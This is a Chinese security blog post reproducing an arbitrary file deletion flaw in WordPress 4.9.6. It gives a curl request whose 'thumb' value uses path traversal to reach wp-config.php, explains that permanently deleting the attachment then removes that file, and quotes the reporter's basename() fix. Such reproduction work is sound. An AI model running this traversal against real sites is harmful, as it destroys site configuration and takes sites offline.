wordpress4.9.6 任意文件删除

0X00 前言

在推特上看到了一篇paper,点我啊
可以直接利用删除图片那个功能删除网站配置文件,导致网站只能重装。

wp很久没看到洞了,这个漏洞七个月之前就上报了

0X01 复现过程

这是我下载的最新版wordpress(4.9.6)

登陆后台:


上传张图片:


然后edit

发挥一下Curl的作用。
执行:

curl -v 'http://192.168.19.129/wordpress/wp-admin/post.php?post=7' -H 'Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7C099559ea1580b258b82765641ac85a51576507c8c3ebb8e131b20c9eec8f65bc; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7Cba9defabde03b6acdb4a5c43fc39244efbec15913483ae43ff0b624be552f5a4; wp-settings-time-1=1530097413' -d 'action=editattachment&_wpnonce=28380b3d4a&thumb=../../../../wp-config.php'

这里把里面的cookie_wpnonce还有post的值换成你的。

_wpnonce在页面中:

302跳转说明编辑成功。

现在点击Delete Permanently即可。


配置文件成功删除。

漏洞原理作者博客上有细节,本意是删除缩略图。但是没有对路径做限制,导致可以任意文件删除。

作者给的修复代码

add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' );

function rips_unlink_tempfix( $data ) {
    if( isset($data['thumb']) ) {
        $data['thumb'] = basename($data['thumb']);
    }

    return $data;
}

0x02 Sakura

鸡肋之处在于需要登陆,但是危害蛮大的。

see you!


   转载规则


《wordpress4.9.6 任意文件删除》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
SSRF攻击[译文] SSRF攻击[译文]
SSRF攻击文档翻译Part1 基础知识Hello world!我将在本文向您介绍服务器端请求伪造(SSRF)的概念,它是客户端请求伪造(CSRF)的表兄弟,QWQ,在开始之前,我只是简单的介绍一下这个概念的基础知识,以便于下一篇中引入更
2018-07-01
下一篇 
或许是不知梦的缘故 流离之人追逐幻影 或许是不知梦的缘故 流离之人追逐幻影
龙族或许是不知梦的缘故,流离之人追逐幻影; 生人无能相惜者,曰悲; 再无可许之誓言,曰哀。 孤独是与生俱来的种子,萌发于爱上一个人的瞬间; 但既然相逢,纵无携手,总好过一生陌路。 死亡就像是酒后的别辞,从此置身事外, 我可以看透这光阴,但
2018-06-21
  目录